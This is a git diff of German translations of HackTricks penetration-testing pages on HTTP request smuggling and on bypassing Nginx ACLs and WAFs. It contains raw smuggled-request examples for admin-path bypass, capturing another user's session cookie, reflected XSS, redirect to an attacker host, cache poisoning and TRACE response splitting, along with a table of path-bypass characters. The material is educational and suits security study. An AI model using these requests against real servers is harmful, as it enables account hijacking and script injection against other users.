* **Unbeabsichtigte Benutzerbeeinträchtigung:** Wenn Ihr Angriff unbeabsichtigt die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zur Erkennung gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliche Tests könnten andere Benutzer stören und erfordern einen vorsichtigen Ansatz.
|
||||
|
||||
## Missbrauch von HTTP-Request-Smuggling
|
||||
## Ausnutzen von HTTP-Request-Smuggling
|
||||
|
||||
### Um Front-End-Sicherheitskontrollen zu umgehen
|
||||
### Umgehen der Front-End-Sicherheit über HTTP-Request-Smuggling
|
||||
|
||||
### Umgehen von Front-End-Sicherheit durch HTTP-Request-Smuggling
|
||||
Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch Prüfung eingehender Anfragen um. Diese Maßnahmen können jedoch durch Ausnutzen von HTTP-Request-Smuggling umgangen werden, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Beispielsweise könnte der Zugriff auf `/admin` extern untersagt sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy es versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Lücke zum Umgehen dieser Einschränkungen offen lässt.
|
||||
|
||||
Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch, indem sie eingehende Anfragen überprüfen. Diese Maßnahmen können jedoch durch den Missbrauch von HTTP-Request-Smuggling umgangen werden, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Beispielsweise könnte der Zugriff auf `/admin` extern untersagt sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy es versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Schlupfloch für das Umgehen dieser Einschränkungen darstellt.
|
||||
|
||||
Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP-Request-Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen, wobei speziell der `/admin`-Pfad ins Visier genommen wird, der normalerweise vom Front-End-Proxy geschützt wird:
|
||||
Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP-Request-Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen und speziell den `/admin`-Pfad anzugreifen, der normalerweise vom Front-End-Proxy geschützt wird:
|
||||
|
||||
**CL.TE Beispiel**
|
||||
```
|
||||
|
|
@ -320,9 +312,9 @@ search=
|
|||
```
|
||||
In dieser Struktur werden nach `search=` die nachfolgenden Anforderungskomponenten angehängt, die im Antwortteil reflektiert werden. Diese Reflexion wird die Header der nachfolgenden Anfrage offenlegen.
|
||||
|
||||
Es ist wichtig, den `Content-Length`-Header der verschachtelten Anfrage mit der tatsächlichen Inhaltslänge abzustimmen. Es ist ratsam, mit einem kleinen Wert zu beginnen und allmählich zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert dazu führen kann, dass die Anfrage fehlschlägt.
|
||||
Es ist wichtig, den `Content-Length`-Header der verschachtelten Anfrage mit der tatsächlichen Inhaltslänge abzustimmen. Es ist ratsam, mit einem kleinen Wert zu beginnen und allmählich zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert dazu führen kann, dass die Anfrage einen Fehler verursacht.
|
||||
|
||||
Diese Technik ist auch im Zusammenhang mit einer TE.CL-Schwachstelle anwendbar, aber die Anfrage sollte mit `search=\r\n0` enden. Unabhängig von den Zeilenumbrüchen werden die Werte an den Suchparameter angehängt.
|
||||
Diese Technik ist auch im Zusammenhang mit einer TE.CL-Schwachstelle anwendbar, aber die Anfrage sollte mit `search=\r\n0` enden. Unabhängig von den Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt.
|
||||
|
||||
Dieses Verfahren dient hauptsächlich dazu, die Anforderungsänderungen zu verstehen, die vom Front-End-Proxy vorgenommen wurden, und führt im Wesentlichen eine selbstgerichtete Untersuchung durch.
|
||||
|
||||
|
|
@ -330,7 +322,7 @@ Dieses Verfahren dient hauptsächlich dazu, die Anforderungsänderungen zu verst
|
|||
|
||||
Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem man eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation anhängt. So kann dies erreicht werden:
|
||||
|
||||
Durch Anhängen der folgenden Anfrage als Wert eines Parameters können Sie die nachfolgende Anfrage des Clients speichern:
|
||||
Indem Sie die folgende Anfrage als Wert eines Parameters anhängen, können Sie die nachfolgende Anfrage des Clients speichern:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
|
|
@ -350,15 +342,15 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
In diesem Szenario ist der **Kommentarparameter** dazu gedacht, die Inhalte innerhalb des Kommentarbereichs eines öffentlich zugänglichen Seitenposts zu speichern. Folglich erscheinen die Inhalte des nachfolgenden Requests als Kommentar.
|
||||
In diesem Szenario ist der **Kommentarparameter** dazu gedacht, die Inhalte innerhalb des Kommentarbereichs eines öffentlich zugänglichen Seitenposts zu speichern. Folglich werden die Inhalte des nachfolgenden Requests als Kommentar angezeigt.
|
||||
|
||||
Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie nur Daten bis zum Parameter-Trennzeichen, das im geschmuggelten Request verwendet wird. Bei URL-codierten Formularübermittlungen ist dieses Trennzeichen das Zeichen `&`. Das bedeutet, dass der erfasste Inhalt aus dem Request des Opferbenutzers am ersten `&` endet, das möglicherweise sogar Teil der Abfragezeichenfolge ist.
|
||||
|
||||
Darüber hinaus ist zu beachten, dass dieser Ansatz auch bei einer TE.CL-Verwundbarkeit möglich ist. In solchen Fällen sollte der Request mit `search=\r\n0` enden. Unabhhängig von Zeilenumbruchzeichen werden die Werte dem Suchparameter angehängt.
|
||||
Darüber hinaus ist zu beachten, dass dieser Ansatz auch bei einer TE.CL-Verwundbarkeit möglich ist. In solchen Fällen sollte der Request mit `search=\r\n0` enden. Unabhhängig von Zeilenumbruchszeichen werden die Werte dem Suchparameter angehängt.
|
||||
|
||||
### Verwendung von HTTP-Request-Smuggling zur Ausnutzung von reflektiertem XSS
|
||||
|
||||
HTTP-Request-Smuggling kann genutzt werden, um Webseiten auszunutzen, die anfällig für **Reflektiertes XSS** sind, und bietet erhebliche Vorteile:
|
||||
HTTP-Request-Smuggling kann genutzt werden, um Webseiten auszunutzen, die anfällig für **Reflektiertes XSS** sind und bietet signifikante Vorteile:
|
||||
|
||||
* Die Interaktion mit den Zielbenutzern ist **nicht erforderlich**.
|
||||
* Ermöglicht die Ausnutzung von XSS in Teilen des Requests, die normalerweise **nicht erreichbar** sind, wie z. B. den HTTP-Request-Headern.
|
||||
|
|
@ -386,17 +378,15 @@ A=
|
|||
```
|
||||
Dieses Payload ist strukturiert, um die Schwachstelle auszunutzen, indem:
|
||||
|
||||
1. Ein `POST`-Request initiiert wird, scheinbar typisch, mit einem `Transfer-Encoding: chunked`-Header, um den Beginn des Smugglings anzugeben.
|
||||
1. Ein `POST`-Request initiiert wird, scheinbar typisch, mit einem `Transfer-Encoding: chunked`-Header, um den Beginn des Smugglings anzuzeigen.
|
||||
2. Es folgt eine `0`, die das Ende des chunked Nachrichtenrumpfs markiert.
|
||||
3. Anschließend wird ein geschmuggelter `GET`-Request eingeführt, bei dem der `User-Agent`-Header mit einem Skript, `<script>alert(1)</script>`, injiziert wird, das das XSS auslöst, wenn der Server diesen nachfolgenden Request verarbeitet.
|
||||
3. Dann wird ein geschmuggelter `GET`-Request eingeführt, bei dem der `User-Agent`-Header mit einem Skript, `<script>alert(1)</script>`, injiziert wird, das das XSS auslöst, wenn der Server diesen nachfolgenden Request verarbeitet.
|
||||
|
||||
Durch die Manipulation des `User-Agent` mittels Smuggling umgeht das Payload normale Anforderungsbeschränkungen und nutzt so die Reflected XSS-Schwachstelle auf eine nicht standardmäßige, aber effektive Weise aus.
|
||||
Durch die Manipulation des `User-Agent` durch Smuggling umgeht das Payload normale Request-Beschränkungen und nutzt so die Reflected XSS-Schwachstelle auf eine nicht standardmäßige, aber effektive Weise aus.
|
||||
|
||||
### Verwendung von HTTP-Request-Smuggling, um eine interne Weiterleitung in eine offene Weiterleitung umzuwandeln <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
### Ausnutzen von On-Site-Weiterleitungen mit HTTP-Request-Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
### Ausnutzen von internen Weiterleitungen mit HTTP-Request-Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Anwendungen leiten oft von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem `Host`-Header in der Weiterleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Beispielsweise führt die Anforderung eines Ordners ohne abschließenden Schrägstrich zu einer Weiterleitung, die den Schrägstrich einschließt:
|
||||
Anwendungen leiten oft von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem `Host`-Header in der Weiterleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Wenn beispielsweise ein Ordner ohne abschließenden Schrägstrich angefordert wird, erfolgt eine Weiterleitung, um den Schrägstrich einzuschließen:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
|
@ -420,7 +410,7 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage auf eine von einem Angreifer kontrollierte Website umgeleitet wird:
|
||||
Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage auf eine Website umgeleitet wird, die vom Angreifer kontrolliert wird:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
|
|
@ -432,17 +422,17 @@ Ergebnisse in:
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
### Verwendung von HTTP-Request-Smuggling zur Durchführung von Web-Cache-Vergiftung <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei abgefangen. Der Angreifer kann potenziell den Benutzer kompromittieren, indem er bösartiges JavaScript als Antwort bereitstellt.
|
||||
|
||||
### Ausnutzung der Web-Cache-Vergiftung über HTTP-Request-Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Ausnutzen der Web-Cache-Vergiftung über HTTP-Request-Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web-Cache-Vergiftung kann durchgeführt werden, wenn ein beliebiger Bestandteil der **Front-End-Infrastruktur Inhalte zwischenspeichert**, in der Regel zur Leistungssteigerung. Durch Manipulation der Serverantwort ist es möglich, den **Cache zu vergiften**.
|
||||
Die Web-Cache-Vergiftung kann durchgeführt werden, wenn ein beliebiger Bestandteil der **Front-End-Infrastruktur Inhalte zwischenspeichert**, in der Regel zur Leistungssteigerung. Durch Manipulation der Serverantwort ist es möglich, **den Cache zu vergiften**.
|
||||
|
||||
Zuvor haben wir beobachtet, wie Serverantworten so verändert werden konnten, dass ein 404-Fehler zurückgegeben wird (siehe [Grundlegende Beispiele](./#basic-examples)). Ebenso ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird und möglicherweise zu einem Denial-of-Service (DoS) führt.
|
||||
|
||||
Diese Technik wird besonders wirksam, wenn eine **Open-Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Weiterleitung vor Ort zu einem offenen Redirect** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weit verbreiteten Cross-Site-Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die das aktualisierte `/static/include.js` anfordern.
|
||||
Diese Technik wird besonders wirksam, wenn eine **Open-Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Weiterleitung vor Ort zu einem offenen Redirect** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weit verbreiteten Cross-Site-Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die die aktualisierte `/static/include.js` anfordern.
|
||||
|
||||
Im Folgenden ist eine Darstellung der Ausnutzung der **Cache-Vergiftung in Kombination mit einer Weiterleitung vor Ort zu einem offenen Redirect**. Das Ziel ist es, den Cache-Inhalt von `/static/include.js` so zu ändern, dass JavaScript-Code, der vom Angreifer kontrolliert wird, bereitgestellt wird:
|
||||
Im Folgenden wird die Ausnutzung der **Cache-Vergiftung in Kombination mit einer Weiterleitung vor Ort zu einem offenen Redirect** veranschaulicht. Ziel ist es, den Cache-Inhalt von `/static/include.js` so zu ändern, dass JavaScript-Code, der von dem Angreifer kontrolliert wird, bereitgestellt wird:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
|
@ -464,9 +454,9 @@ Beachten Sie die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Di
|
|||
|
||||
Nach erfolgreichem **Socket-Poisoning** sollte eine **GET-Anfrage** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **On-Site-Weiterleitung zu Off-Site-Weiterleitung**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
|
||||
|
||||
Anschließend wird jede Anfrage nach `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers bedienen und so einen umfassenden XSS-Angriff starten.
|
||||
Anschließend wird jede Anfrage nach `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers bedienen und so effektiv einen breiten XSS-Angriff starten.
|
||||
|
||||
### Verwendung von HTTP-Request-Smuggling zur Durchführung von Web-Cache-Täuschung <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Verwendung von HTTP-Anfrageschmuggel, um Web-Cache-Täuschung durchzuführen <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Täuschung?**
|
||||
>
|
||||
|
|
@ -486,14 +476,97 @@ Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible benutzerspezifis
|
|||
```
|
||||
Wenn dieser geschmuggelte Request einen Cache-Eintrag vergiftet, der für statische Inhalte vorgesehen ist (z. B. `/someimage.png`), könnten die sensiblen Daten des Opfers aus `/private/messages` unter dem Cache-Eintrag des statischen Inhalts zwischengespeichert werden. Folglich könnte der Angreifer diese zwischengespeicherten sensiblen Daten potenziell abrufen.
|
||||
|
||||
### Missbrauch von TRACE über HTTP-Request-Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**In diesem Beitrag**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass bei aktivierter TRACE-Methode auf dem Server möglicherweise ein Missbrauch mit HTTP-Request-Smuggling möglich ist. Dies liegt daran, dass diese Methode jeden Header, der an den Server gesendet wird, als Teil des Antwortkörpers reflektiert. Zum Beispiel:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Wird eine Antwort wie folgt senden:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
Content-Length: 115
|
||||
|
||||
TRACE / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre zuerst eine HEAD-Anfrage zu **schmuggeln**. Diese Anfrage wird nur mit den **Headern** einer GET-Anfrage beantwortet (**`Content-Type`** darunter). Und unmittelbar nach dem HEAD eine TRACE-Anfrage zu schmuggeln, die die gesendeten Daten **reflektiert**. \
|
||||
Da die HEAD-Antwort einen `Content-Length`-Header enthält, wird die **Antwort der TRACE-Anfrage als Body der HEAD-Antwort behandelt, wodurch beliebige Daten reflektiert werden**. \
|
||||
Diese Antwort wird an die nächste Anfrage über die Verbindung gesendet, daher könnte dies z. B. in einer gecachten JS-Datei verwendet werden, um beliebigen JS-Code einzufügen.
|
||||
|
||||
### Missbrauch von TRACE über HTTP-Response-Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Es wird empfohlen, [**diesem Beitrag**](https://portswigger.net/research/trace-desync-attack) weiter zu folgen, um eine weitere Möglichkeit zum Missbrauch der TRACE-Methode zu sehen. Wie kommentiert, ist es möglich, durch Schmuggeln einer HEAD-Anfrage und einer TRACE-Anfrage **einige reflektierte Daten** in der Antwort auf die HEAD-Anfrage zu kontrollieren. Die Länge des Body der HEAD-Anfrage wird im Wesentlichen im Content-Length-Header angegeben und wird durch die Antwort auf die TRACE-Anfrage gebildet.
|
||||
|
||||
Daher wäre die neue Idee, dass, wenn man diese Content-Length und die in der TRACE-Antwort gegebenen Daten kennt, es möglich ist, die TRACE-Antwort einen gültigen HTTP-Response nach dem letzten Byte der Content-Length enthalten zu lassen, was einem Angreifer ermöglicht, die Anfrage an die nächste Antwort vollständig zu kontrollieren (was zur Durchführung einer Cache-Vergiftung verwendet werden könnte).
|
||||
|
||||
Beispiel:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Length: 360
|
||||
|
||||
HEAD /smuggled HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
POST /reflect HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
|
||||
Content-Type: text/html\r\n
|
||||
Cache-Control: max-age=1000000\r\n
|
||||
Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Werden diese Antworten generieren (beachten Sie, wie die HEAD-Antwort eine Content-Length hat, die die TRACE-Antwort zum Teil des HEAD-Körpers macht und sobald die HEAD Content-Length endet, wird eine gültige HTTP-Antwort geschmuggelt):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 0
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 165
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
Content-Length: 243
|
||||
|
||||
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
|
||||
Content-Type: text/html
|
||||
Cache-Control: max-age=1000000
|
||||
Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### Bewaffnung von HTTP-Request-Smuggling mit HTTP-Response-Desynchronisation
|
||||
|
||||
Haben Sie eine HTTP-Request-Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen können? Versuchen Sie diese andere Methode der Ausnutzung:
|
||||
Haben Sie eine HTTP-Request-Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen sollen? Probieren Sie diese andere Methode der Ausnutzung aus:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Andere HTTP-Request-Smuggling-Techniken
|
||||
|
||||
* Browser-HTTP-Request-Smuggling (Clientseite)
|
||||
|
||||
{% content-ref url="browser-http-request-smuggling.md" %}
|
||||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Request-Smuggling bei Downgrades in HTTP/2
|
||||
|
||||
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
||||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Turbo-Intruder-Skripte
|
||||
|
||||
### CL.TE
|
||||
|
|
@ -588,7 +661,7 @@ table.add(req)
|
|||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein auf Grammatik basierender HTTP Fuzzer, der nützlich ist, um seltsame Anomalien beim Request-Smuggling zu finden.
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein auf Grammatik basierender HTTP Fuzzer, der nützlich ist, um seltsame Anomalien beim Request Smuggling zu finden.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
|
@ -599,10 +672,11 @@ table.add(req)
|
|||
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
|
||||
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
||||
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
|
|
|||
|
|
@ -1,31 +1,127 @@
|
|||
# Proxy / WAF-Schutzumgehungen
|
||||
# Proxy / WAF Schutzmechanismen umgehen
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
Überprüfen Sie die folgende Seite, um zu sehen, wie Sie **WAFs umgehen können, indem Sie Inkonsistenzen in den HTTP-Parsen ausnutzen: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
|
||||
## Umgehen von Nginx ACL-Regeln durch Pfadmanipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
Techniken [aus dieser Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
Beispiel für eine Nginx-Regel:
|
||||
```plaintext
|
||||
location = /admin {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Nginx Version | **Node.js Bypass Characters** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Nginx Version | **Flask Bypass Characters** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Nginx Version | **Spring Boot Bypass Characters** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
Nginx FPM configuration:
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx ist so konfiguriert, dass der Zugriff auf `/admin.php` blockiert wird, aber es ist möglich, dies zu umgehen, indem man auf `/admin.php/index.php` zugreift.
|
||||
|
||||
### Wie man das verhindert
|
||||
```plaintext
|
||||
location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Umgehen von Mod Security Regeln <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Pfadverwirrung
|
||||
|
||||
[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die Variable `REQUEST_FILENAME` falsch implementiert hat**, die den aufgerufenen Pfad enthalten sollte (bis zum Beginn der Parameter). Dies liegt daran, dass es eine URL-Dekodierung durchgeführt hat, um den Pfad zu erhalten.\
|
||||
